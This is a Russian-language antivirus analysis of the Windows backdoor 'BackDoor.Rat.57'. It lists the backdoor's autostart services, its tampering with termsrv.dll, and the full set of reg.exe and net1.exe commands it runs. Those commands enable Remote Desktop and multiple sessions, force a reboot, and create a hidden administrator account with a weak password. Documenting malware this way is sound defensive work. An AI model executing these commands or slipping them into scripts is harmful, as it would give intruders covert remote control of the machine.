BackDoor.Rat.57

Техническая информация

Для обеспечения автозапуска и распространения:

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\TermDD] 'Start' = '00000002'
[<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'

Заражает следующие исполняемые системные файлы:

<SYSTEM32>\dllcache\termsrv.dll

Подменяет следующие исполняемые системные файлы:

<SYSTEM32>\termsrv.dll файлом <SYSTEM32>\termsrv.dll.tmp
<SYSTEM32>\termsrv.dll файлом <SYSTEM32>\termsrv.dll

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d "00000001" /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d "00000001" /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d "00000000" /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d "00000000" /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d "00000001" /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d "00000000" /f
<SYSTEM32>\shutdown.exe -r -f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v MaxInstanceCount /t REG_DWORD /d "00000005" /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d "00000000" /f\
<SYSTEM32>\net1.exe accounts /maxpwage:unlimited
<SYSTEM32>\net1.exe localgroup %USERNAME%s SUPPORT_MS14594 /add
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installe" /v EnableAdminTSRemote /t REG_DWORD /d "00000001" /f
<SYSTEM32>\net1.exe user SUPPORT_MS14594 123456 /add
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_MS14594 /t REG_DWORD /d "00000000" /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\TermService" /v Start /t REG_DWORD /d "00000002" /f
<SYSTEM32>\net1.exe localgroup "Remote Desktop Users" SUPPORT_MS14594 /add
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\TermDD" /v Start /t REG_DWORD /d "00000002" /f
<SYSTEM32>\net1.exe localgroup Администраторы SUPPORT_MS14594 /add
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d "00000001" /f